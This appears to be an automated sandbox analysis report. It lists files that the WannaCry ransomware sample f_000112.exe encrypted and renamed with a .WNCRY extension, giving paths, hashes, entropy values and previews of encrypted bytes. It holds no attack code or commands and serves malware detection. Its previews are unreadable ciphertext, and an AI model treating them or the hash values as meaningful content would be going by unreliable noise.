                                                                                                                                                                              Preview:WANACRY!.....jN.....p.Y...LhB?.W..buj..-..I.y....@8..&(e.9..$..b.Q.C.....f.?...~}J.a.H?..OD..e.L..r..,............b,...J.w...&.w%)....a.-....~*8QD.\.3bH`.@.....mj:..h....y.--. E.A.r`...vP.u.q1X../..Kh*....QV..f..'..&.".....+v....L.i..j.p.F#.K.N..=r,..o*.?;........2X........q..%I.3}..KC.X......\<.).......Y..r.gv..z..KU.h.vx.'.[..D3.'..3....^.}.e?#qXo$.F..'.7....|..B.....8..>'.^e.'..\.K..+TWE.....`E.>....u......>1....F'.n.=h..Lj.@..ax'..,.]q.[?.-..x...A.......-Q.1.....2..)uL...NWkg......F..[.. ..9..Z..o.g2R0.Vl7.\.J.....U.7..s...5..../.E..?..w...|..Z.=..!...m.1..U..i.S..Ck7......0V..4h.8.<..f.UQ..U..e...Y.&...k<...WN.,-.d.....[.2.....*.ea]...jn]..,.0..q..c2R.&o...s..+.3..ceB.._.#......w..by}^8..PS]...4..hU0-o.)....{.7y?6.r...\.g].>.......".FVoR.:Gp...m..G0.].....8O.!.u..V..|N.m.~....=..R^..*.[Zk.......A.._R.S6..qT.geN.........?d.&..f.Y...9ED7s..k.[.>..w-\...D.*..p_%..|..1.%h..t...a.X..]..=pe_0..8......S.r5.......$q.";!2L.k....'......Q.....4.%.<,.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2680
                                                                                                                                                                              Entropy (8bit):7.935491677697695
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkl3cvwNIAR5kxYoqYU3Ami0BB/+tuIO5fw4O6AQwzEegJv/aXzHAJ:ooAzoLxZ0r/r06XwzEegJvAzgJ
                                                                                                                                                                              MD5:A82FDCBFD23F56AF61CD403A0AFB40B5
                                                                                                                                                                              SHA1:20D246D015A2DC8F24A9E0BD230AC694927ED3F4
                                                                                                                                                                              SHA-256:8EBA80E3555EDB4C2A95C5642C725CF910798C3EA84F33EAF557EAB6631AD5E9
                                                                                                                                                                              SHA-512:FF2ED2DD162BB0F9CF8BF20D58C9804ED118599608E11B3D8BE51106D52C2CD5BACDC9DC7689A1829DEE5A7501BC95228C5390F291767032E00624D3133AD22E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........T.\..fz..\jY.h.9.#.{w.a$.....NN.6...GZ/..'!.....L..[r....*r.&.N?~n...~].hk...&(...Lg.5zb..16..7X3_x.(....P.H....1|...'....;...!.T.M-.J.y.l.a..Gj.u.|]Z.qi...J.4..}#EC.....W9).h....K... m.l...j..u...2.,.8.4.6.?...]..d.W.xz....B..;.. H?LNte....Y........-.Sd.O.\..Zd...}}c..N........N$..}..@!..Q..l.8h....\\`..H.rPB.f.....s.u.U.5.W.........6.%.mV.........2....P>.....2..Rr,].}.N....R:.#0..Q.H...$t.?.....E..,s.]....J.Q......K).!*IQr..3..M..p~?.&KP...A.'.j..O.s..;..9...F..n..6y.C..5.]...Y.~.)..j..W1.......N....Ph.*;....[.1....oc2c./.........$[...:...d.....>.D\....;...2.UT..I/....E..g.I,<h.....1X..%..n...{...%.qy..!..7.....02os0eK.5tr...$r..|....K.G[...J.%..2}..D.^..j.q.H....&M.Xb......0.^.Pr._.}.&.p*6.9$5..~....3.x.....9.=..c.....d.G71...E*.j....X1....H..1....U.8.. ....bB;...?../."..|..K6..{w K.......(...Hk.n.'E....a./..c.J.h.[.....#......Z5F..b..s5H.c........L.?.Je..?..Dv...tCF(.1.M.".q.Q.#....q....yh.w.....K8..(..m.1e....R

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1912
                                                                                                                                                                              Entropy (8bit):7.918655425191049
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkWEHoSf/i2mPwISYHbwOQMG8tKWAH4P4lyXqbwDwgs:oZDf/i747uYMG8tKWo4P4lyW1
                                                                                                                                                                              MD5:E7E637D0541877DFB951E5C05E4422AC
                                                                                                                                                                              SHA1:4D07E18AA93F9CAF868A12887EC3CC3844903C42
                                                                                                                                                                              SHA-256:B0A90A22F3DAAE8531746D7C42BE6987FCF33706F01D3F0EE91ABA847396629B
                                                                                                                                                                              SHA-512:47008A4229BB0DC37341233862CF675C94C0DEF3BD594E215C0F8E3EA97C3F27CA184B98B016ABAE9CBB34B25DA505922560DB4A48C106C76F64FC762A4E432A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}.pd.,p.u......1</..air...4......2E.;..(.6.x......<_..b..uT..L.T.T.T....[.......$....a.]I.(N}I.cy.?.*3...~..?..7K.<T....8..8.t...j._.}T.w...:.V...n.E.;._...]&..@..:.........5_..8.........I...I.j2.f_.....e.N....{.......X..H(..........#.x.!.(....[.......s..3u..g.E.......B.XW^..._..jT..9nB.mi#K0.....X...A..o...}...'Eji`... K..V.~.......jrA.~y...r.SA..6.,%...V5.7.G...]dW1.bG%JJ\UPf......l8...=.. u.d..]..h`b......-..1V..!X6.S!F......j.:..V}.s....9..vK.E^@..4..Ic..7C|3.u.s.Jk|Wc.o.O..UW..m...|1......La..tY.O...A..~.*.QZ.p...y8b~qR.7...4 ....]d.xf.6<...S.&.#....w..f4....jF8....Z..#^.#.4.L....<LC<..nn.....Xp.l.- .i._..~....A...!.....D..G ~UR<7t`.#.......n.....L<Uf.Yy.......X..Y....&4.x.J.R.8..9.C.3#|O..yJx\..j.....Q..Vh*.b....I.?.F.o.....h....q.......M..VQRz\|C..a.,..hH..I.D......7..#.......b...;.).q...M...xb5.c....=L\...M.N...)....\U.....1.3.9Rt.3.|...tZ@'.pw..A.s...\...C..X/.3.....^...,)....r...".wM...j?..3...2Wb.-..%.w.<.Y_ .

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.930581679790075
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkPvStLS0D/ax7lrUrQR6Eje04iYmKI57IRLEU/4DYcTiSaTbI6XC2m0HHtR6Wu:oStG0jAxQrQROmK9RQq4BOVVXCT0HHud
                                                                                                                                                                              MD5:F7800173EF816960DAD15C88DC84EDB2
                                                                                                                                                                              SHA1:7FB3D7C04BAAF566F09C6E8B36D531C3FA3949B3
                                                                                                                                                                              SHA-256:5DC2F915F4892BA0C7E47314EAAF5A76F9AF519A962BE0E6899D9876AE7D0B30
                                                                                                                                                                              SHA-512:47A9057C92811FC2B108D8ED31A287B3813BF7A904ADD30952F4EEDE531FC8B8DC033BD4D1DCC95E40EFFA0B507E4B66A6C3C2E29121EE64C849DE7899F5AEB9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....y...q.....H..........N......t.I.o...'.X..j..X...v.$..6..L.=.Z.]K..,].V`.e...J.7l....i..P..W.f..20GbWB'..^..z..Y.!.#...>.^.5...I.....L.m.Es.4.E....k.._I.X...7..M..Z2<r.M..!..<..e...$...{.ZA?R...^eO...n|.3.(.K... .).3N.W|,..G@.u.....:.'>.X[.|B......a..........fH`...~..'..a.u.:........~........V0D..d.{4...s"78{5).w....P.As...T.r.......=.wla).c.}.....l5I..>.}K"..f..}[...G..h._8.p....YS.N.5a.~...Ytu.1..:.J.........xNn....[@..XH...y....D%..?...{..PB..wb....".GuYN."....G.?..F..J3.?....G.L|....+.X..L....O....$b/.......(I:..q..W..}....2Kx.QE`.....T_i7.X..eQCW.._...v.Y,=.8..r.u6/4?.o..5....E..VT=..+...M.y3.......hHx.....=.O......}O.r^.Z.....Vk.L...%6u.....g9....Z..:.......{v..T.?...D.3...nL.r..........T.^..S...dG.........K.'S$...4.?..0.N.k...%C.M..mB#..YL..lI......B...]......Cz....x..n~8<../i.xe.,.R..a+.\..<...1.}....5.....;..Qt...d...iSb.pM..1...v...$.HW.T.f...8.b\o..&.k.{.6.)..$...+..r..+9P{_..6]. y...0}Fvuj.#...~..-"..x.7/.........S.[.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1864
                                                                                                                                                                              Entropy (8bit):7.880694516175096
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk9QXH0S5KrM6ASJI8cMPUm8CuYaUHftZsuBiIeNbr:o1M6ASTnpgUHY7JBr
                                                                                                                                                                              MD5:0F055715301EE4551D3424FD7B19DB4F
                                                                                                                                                                              SHA1:1E1F17FE78819EC5C3C370966E7DCD1E27FC28E4
                                                                                                                                                                              SHA-256:78F8C2D6C837A64475519225514B14CCD65404D62F8BD8B8B7D11BAA5AB578D8
                                                                                                                                                                              SHA-512:E53AC7570197B642D415611441F00450A18615B3086316CF108110478F4D440E9A8C2D7C5E48766E4CA6478550DFA7FAD527E4E5E5A2D7DBC0B17E23DF1A741E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#...?..t....A.%..L.(...bs..;1Wx.`U.#....1.>..j.]v..)+...R.T.#..b.kG.....1B..8.*.....h...M...e..;C.....RZ...s.6f.DA. ..lw.Y.@..0.Q*..Z..p6X%0..1...(.S...~}.g.....#.........\".t&y.|..H.6....-%.9...#..."...Lwwp..........Qg.U..............).........yls.-T$t....<q.....-.8"\....TKlD.]..:......$.C.4*.\L*?L.I....;4....z...}.Z..."=.P.....-0Z@G.H.K..FBc..........D.5._b..b...3)#8.$....S,..N.W...>Z..B.),4...H...m..........9....;OW.!<8`H"m.t.!.S<.....6.K...%.....nr..K.mx....D...r..9J{.....6...t1w.X...*N4<.."Sh..v..n..U....s..MS.}"..%i.-%.:R!./.3../x...:..."..,*.........K..>..G.P;a.x)......2.A#.c...._|..."..P.A[..0.......7........M..'...N...8&..~0.V..>...]...\.|+.....<..?Y..W+9..&.'..N. ...<.8..F...x.UR]l./.h.*........j.e*..?L$......+d....T...Dm<..t....QSi..2,5.k...8..3.......Fl...f..aM1...f..7l.....l..J)...*...wL..II.s....'.4[N.i.V.z}....s..B....TE..G...9...&..._.?..*6.9;..Fr..\[.s.._..(o7,q.N......z-....._.?.%..u..x.^..6.....`.....I2%

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1848
                                                                                                                                                                              Entropy (8bit):7.876702684730344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkV+RPbN7FxmQ5NstOvlLtTmaSZy8cUKEn/jjDFEm/s/pFc/p:o2DmQvsolpTma3cnDKm/sx4p
                                                                                                                                                                              MD5:E4F84A231AB992DF2B4DA67F7D4D2C8E
                                                                                                                                                                              SHA1:4AC5C5096DD5489151694790732ADE8BD6325779
                                                                                                                                                                              SHA-256:32F9895703B7E6EB38939C839BA1BBB5780A530D2FD1E78D73A3E5CB2B09B890
                                                                                                                                                                              SHA-512:324449B44B32312677DABD88936796C4ECA36EDB586C5DFBFFEB10EDD84320DE44A46C47DF6DA0D27DFF8C0F35ECE3CDD48571A4161A9FCA3AC78D4CB79F415F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T...[H.b..R.....L[f[...B...4o...A...L.si...h+|./.~5mH....^.1.....y.P`...;b$...b.a...qDOfE(.Rv.$.Xki....?..X.M><....h.......%..L..u1.G.q.*oK........`.:T.Q.e.....p....d...Y........J....F..$..6.p..R@....Gx\.KO..}..b.O..en...].]..g..s.....p..^../^............l....;....M$W..6../.4.W^....~9..U..U.S.......1a....Ba..;./...[.......e....K....I.&5..u.....?4....e..2x.,...+n....'..I.v..~. .KC.p.p......F..4...i.......0......!.g0....U/...iBq..,.........QUn.. .'....B?..w.).t..N5.. .eAD..T..;V...f.z..uLRnC.>..[..wS........|...\...UP.}q...g.~IB#jx...K...u.D.0(...H..!5...;d..EjH..G.9N~..*.3z...MU.S..#.HJ..$.c. .,f...I......7.S)S.....w......P..'.&....4.4...(..Ehq......=.....Y...y..k..j.....{..k.p.U..|..e:I..!.eW...'!.......".m[L....&X..Bo.-..(1.....D..j.9.i......rs.......b.........P... ..Q....."7n.....F..M..a.....'=......T..u...2I_v.7..........9|q...,.w.E6.A.H.....&.....kp....bv...l]F..DqW..v:.5.u.......wh..../6."..P.Y..hB1n......K...c.<.X.B....d..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1400
                                                                                                                                                                              Entropy (8bit):7.827876634788132
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6+aBaAgYMNHOh0WPLhIhuetev15aEIsQ7MYFD4oeDmbF4BD2gxRvu8QQCsKgeJ:bk6+aRdtIhuete15FqMYlJOmbF4BSgx0
                                                                                                                                                                              MD5:8820755F325379F55924247F3E9111F8
                                                                                                                                                                              SHA1:E467CCF24FBE2A45596D6EDF5E985ADAF0D5E2FB
                                                                                                                                                                              SHA-256:6905F9192441F2CF387D6CE2177D40AB861CE1C06C7031BF84C406D1726F8554
                                                                                                                                                                              SHA-512:154097FADF5D14C8F5D67C5877E7FAF336C24A243DC574036A9B7E6AB0FDB822D31A3402CA3D9D3F8CA17B3F2504CF96AD4F42929007DD6C3E25DD3BAE6FFC0F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;V.)e.N.|././..H(w..j&..y.(...I......b......#k....[.-........X4O.......l.8..0....]4...:a...Y.A|pe.p....L.+.,%.bM.....j....Y&...l.1$../...e..yR...../.1.Q+6...h...k..6.{$..{..t.#..t......P...G..@oo_1.{.Zn`.8....7.1........tvNp..I.B...3!u..v.5....Y.......=.{xI.E.......m.g..r.9..|gA.l...q..........2.k2.?r..8s..P.u..9..V).((...... GN..C..i...m.....(z............yv.7.I...2`L.L.7......|.iG?OO..~...H.s..}Ao)f...b"...X...J..KD.k.6].83..X0...0(>...>.3}/~..G......).....l{?.Q.k.3..*v..y.@...>kU)...W._...k....I..?8.Jk....`;...h!....`.&.......V2Q............C!K..*.F8.s$G/76F..}.??.........r...6.s.}.]./I.d.(...|. .z.9c.q{<B4...M..8.#}.]'u.)o,8X.^..1,...n...#..4mj....N.j.`..y.*.....E.g.E...$..]..c.......J..[..*Rh....qY%.N..HR......7.v.?7.#..2C....k.e..V..Xs......k.^?..2.........^.5...K..:>...i...<V.C..9V..D>(.#(qR^.n..QA.R.Y..C8".Z....._.w.1.]JJP{.a..n.8...9.{....@..G.L..3V......xP..7.".@8'^...j..T..nA.x[4Z.b..u<...C.[....X.,.Y.o....a.c.(...V

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1736
                                                                                                                                                                              Entropy (8bit):7.877122200775611
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk3CHttLQAMHqRCzzx+4XGSHwBTapB244UEs9XVYAZI5FK:o3CNBskCz/HAaiI9XlZIbK
                                                                                                                                                                              MD5:89A03641F856838D424D752B8CD8D8BB
                                                                                                                                                                              SHA1:AAD97A40192F4761CF822137116C55E5438D2C90
                                                                                                                                                                              SHA-256:674CE56F00D61FA2A7BD25994F1D2F97FD9E39899D93B39585AF90E831E53A24
                                                                                                                                                                              SHA-512:0674C2081457806E0B2621AD4D08AA50A20E28727339F4B5991C6FE533AE550EE3948F89275018CDB95473D71544A14EFC1F5F715BCF31639254917918A75928
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....SG..........D.......~.....#.,0k'@.2[...%.+.0...+a...?2...M.....F......B.......Bl..*Q..j.<..8....i.T..5.&.8......c...........%.M........p.%......W.....c.].y.......WQ.Lt.W.#....U....>.p..\....:.q.1r ............}`<Les|X....^ q..i.R..}.....^.............^~.../d.....,7..'.\"Q.x...zQ...j'.L.n:/.7......g....\UE..S.Q..z*.....Mi!w..q..3#.....<..d..l..{.*.Q{....m%v..9..f....\..v..Ko'nY...AQ..Z...v.z....D...3c.{...t..3.a....-z.c5s&K...X~.Z.6..$..`a.pD...^~..n..B.W.uD..x.R....hhy...$[h..G.h.=.[.\..n._y.......El.*.|N...v..9(......V..LP7.H.TM....^zl..s!....b..Y.....^"`.x...Ds..+).vX..5.ku.c.'....L...M....O..:....J..N..>.....B#.....*..6.i.z.....\...9...-.......LE....|...\.Q..l.D......].../...yDo...PRU......^..t..'.L.a.&7...\.q...o...ew4&...Ce......kT........m...?.tQ\.(.+.......y-...1k'...r~Mj'.v.t[<.q2...o...'E.Kqj......(......T..2._Kg...d.X.....@..Z.,......|.j;*....0......g........#..u.E..b.l.k..p...1.N*./.=.../-"l.fe).<.,....r..`!

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.84555254340183
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2gIThxhKVt2K4eKjW4SQzqHmMNpipmPVERqfrWMRHKEszqPp7YwjgpEcD2:bk2DXgEKejW4SQiDNpigPV2OWksep7Yu
                                                                                                                                                                              MD5:C69885F526A2FAFDFEE5F60FE8A1FEF8
                                                                                                                                                                              SHA1:8739B961BB1A78A8FE9EEC89D54C76A10C8E2BAD
                                                                                                                                                                              SHA-256:610C79F4982C15688ED74613207FFB3E01B9FDE824011DEB6EB67E6663284B93
                                                                                                                                                                              SHA-512:4B1136CA407870CABDA56BBFFF033CEA4B5AB5AAB933CCA80ABFED088EA045A1BB585174B0EF2FF7546252FE340D82400158EAD741F1AF8D1BD67354D917212E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Dw&..R.V..6.J?g.....#[~.)....d.@W..3.1....w.L.;...J.BTT;.F.../.@...Q..3.l#...7.J^....M..)..N._.U...d.D.M.....|;.....`......On........O....y......to......>D3..^..f..A.L.-k.H...N.l^....R....c9Y.jl..%..s....,.u..5.|....e.9.Y..*.]w.7..~G.......!.F.....$.......w$.Lk....qO..l..j:m.a.R{.}.N^..C..l.....l.p.......O.')..h8.l]k.9.d.mQ...g.=.........h.....g...L.....O..Xu.?.>M..y...cz.@...9V.a.,.>M.)As).00..S.|,L3.....:*Av..z.~!.=>.@qu.y.f4..YT'.7A..O.#..w.F.Pp.."Th.......\._..*..8f....~{=.g...k.F.Q...U_......h&T......&.$... .F..N$*..6J^._....Wi.b...m...&+...>.\HC..i.Q....{..p:..KM..<...y_.?..,....\...nz.."D...7"|.L.c...5.....^..zr...zZ.q7....Qm.......*......fZf|.]SE.0.`.4...y.X...]@v.+. ..R_........hF........j:<.K..[4..1......P.......J."7..Pp;.R...n......%.@H..J5h...2.7......lx!.:....t].}...:).c..e...Y...r.zpq-..;qT..;..k....v.SP.+...H...0t.2......J..S}...+.9.gA.6.!..Y.H....V.8....o.26b(....Z.E.0+.>>....l+Z.DB}.\.*..s^O.u.Zq.......S.~T.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):53480
                                                                                                                                                                              Entropy (8bit):7.996315256681294
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:9wy9s1XlhCC0ifWZqBrwzYnu+rsqmHVYj2qQlG5W6GhzG338TUdwx:uRVlAZMhuM1mHwn5W6+IM1x
                                                                                                                                                                              MD5:F4E2B65B341F23679F7AB25E66F12FB7
                                                                                                                                                                              SHA1:1E35B89829EB0E081DA01B501DCA12B7E5AA54E8
                                                                                                                                                                              SHA-256:2F950764375177627EB83626EC1F3D8DB515E47EC62D18E1011412B557FC37DF
                                                                                                                                                                              SHA-512:E6D489E11C30E2508651B1A7F505E967E60B931D3CF37396F5C46F238A40BF8CF77BABD8F6A25E016F44CAEDA0D7E4CFE2E5BDF9B2F698F8242EE514CFAF1A0C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........Y>(>......P...].......l".6.H....TP.Nf....>.p.!.Pf5#"....]....#....+..C......I..<..>..f....)p%)...Nb3..n.v.h,..x...?0..>..4..o..B..[4.0..t..........d...P...}..........?..!.].....T.K.X..4}...Z>Y$..q..`.,......{..I....X".....J@f....R..;...)...D............qj....E.....t...^...?...H.j..1F5@b.J&]..f.-{.OQ..R. ..f....6...{..#.........W|..J.#.!Y..Dj.B..K.>.s...d........_.y9w..9.........^..Q.6o8..O..`.aO.......k....}...F.c......'....u.).{.A..... ....u..o.BM.0...\.50.X.U...0....k.1..B..P.:..z.M.Z......h0.9O..LLk.D......m...@.M...,......wJ`......B.~._.1.Lh....~.`.4..}..N....Ts..m\.r.[..-R<eN...&..H..^......_..y..@{D^.*..@.[......0.m...../..0...Q..bv.Nf.G%.....w.Z......6Q...F.XsS.as.'..4..zf....)F....`2&w.b".cY.!...d.....C.... .CG2..E.(R.B. k.lkSV1'&n..?.-.f.'.>..[...t..P2h....}1...t_vLUS.,..E..!2k+..[... ...8...>...r....F--...P$....8S.8lCL.l..x...*.V.J....P...0...uM.>.]..u....A.8......VD._..T>..#....X.H..=.(,.e.6...ue .'.*S.J..Y...aj...PB..?s4.M..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1573144
                                                                                                                                                                              Entropy (8bit):7.999871994288255
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:fGWDwg6jZ37EyYdayqSAlkcycw7wrHXbJmhkxeYFcQad+NazsSMl48W9cFKc5ANl:fGWDe7rjSVR7eXbJiOeYFVfNT4D8BANl
                                                                                                                                                                              MD5:1B596C0A3259D884E42C2E66DFC11DC8
                                                                                                                                                                              SHA1:4A5C3390822FB0DC5071B8B7DBEBFB2289FC4982
                                                                                                                                                                              SHA-256:08A15DF79527765F8A65A295586A0B8590F2B5678F267140F2C89310E0AD65A1
                                                                                                                                                                              SHA-512:C4EEC116F958B00672E95E98B78B156A460751A2EDAE7FBA483B5EE84D9A5882A47B2C618D75034D255A049BB70DDBCD0B05EC4941E6CC7B8994E85A76027160
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.........<fn..L..c......x....|P..,f.....Y;..t.Z.cZ......:.A9..?.......o.$-..SS`..f.MY6.lQt...M7.<...~...}.).0J...[.*n...ylJG...(.Q.r*..K`.....^.SA!....9d(..HTz}Am=.Fq.&=a.h. 5..JB.!l........."0,..F.....j......i3j....[aZ..n.S...]..m,..$4..R/..............ShD#...R,....}.M.2.....>zG..5...(s.h....-z...h.X.Zl...Q?...W..@....O0.\......|...........L..<...a8..ue6[...R.H.!..Gv.h...y...n..xo..4D.nV[........G'.t.TE.8.l).$.wE....e1...1.>.....)K..q.+o..}h..0#/.^.vL.`K67n...\..7....\.`L..9.w.Wh....._.y.3R...B._..lS..>...X04..!KR..6...........#. .U.D.C.L....W.~...O|...x.......pO....P......6B.CS...7.....X..Tv.7......t.x.a<....TJ*b..X......~$..A.q.k...*.H#k!.'.. ..bJ.......C...O........%e......*.$3.OO.m.V5...7..X..I.N..e..+.0vX{..{...(..-._.].K../.,e.........C{.v..FP...'...S..~.8.?...G..p..a.?~.1:...j.t.A......CG.k..W?$......0.a..-.(...5.}..T)..B...2.A..b..o|.....=!...FL...ni|H.._<i...w.....J0[....g.R...'.u..mq...9."OJ......-.<o.~..3.O...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1573144
                                                                                                                                                                              Entropy (8bit):7.999885175517752
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:w/E60QJw55bLA9M0Ln7wdpoKNxi3taXKO:Mtw309MqncgKNx+tYKO
                                                                                                                                                                              MD5:998F7CF60ED60E19EC70C4BF931BEB09
                                                                                                                                                                              SHA1:9FB4828BE1036CA6A8BA8B38442E032194432468
                                                                                                                                                                              SHA-256:75FC3470C59F7E4B3047B283A442B44B37AC9999507AD1F8610E7547C06FF343
                                                                                                                                                                              SHA-512:57EEB7584A70D7A35A5CDCC29DDD9AE7F86BA297CB9A65C3EF79171521EE017599A5B6B3DB722AC1FDFE6F993476D9FF4488EA5D056919F73CC354E13ECC2A1E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
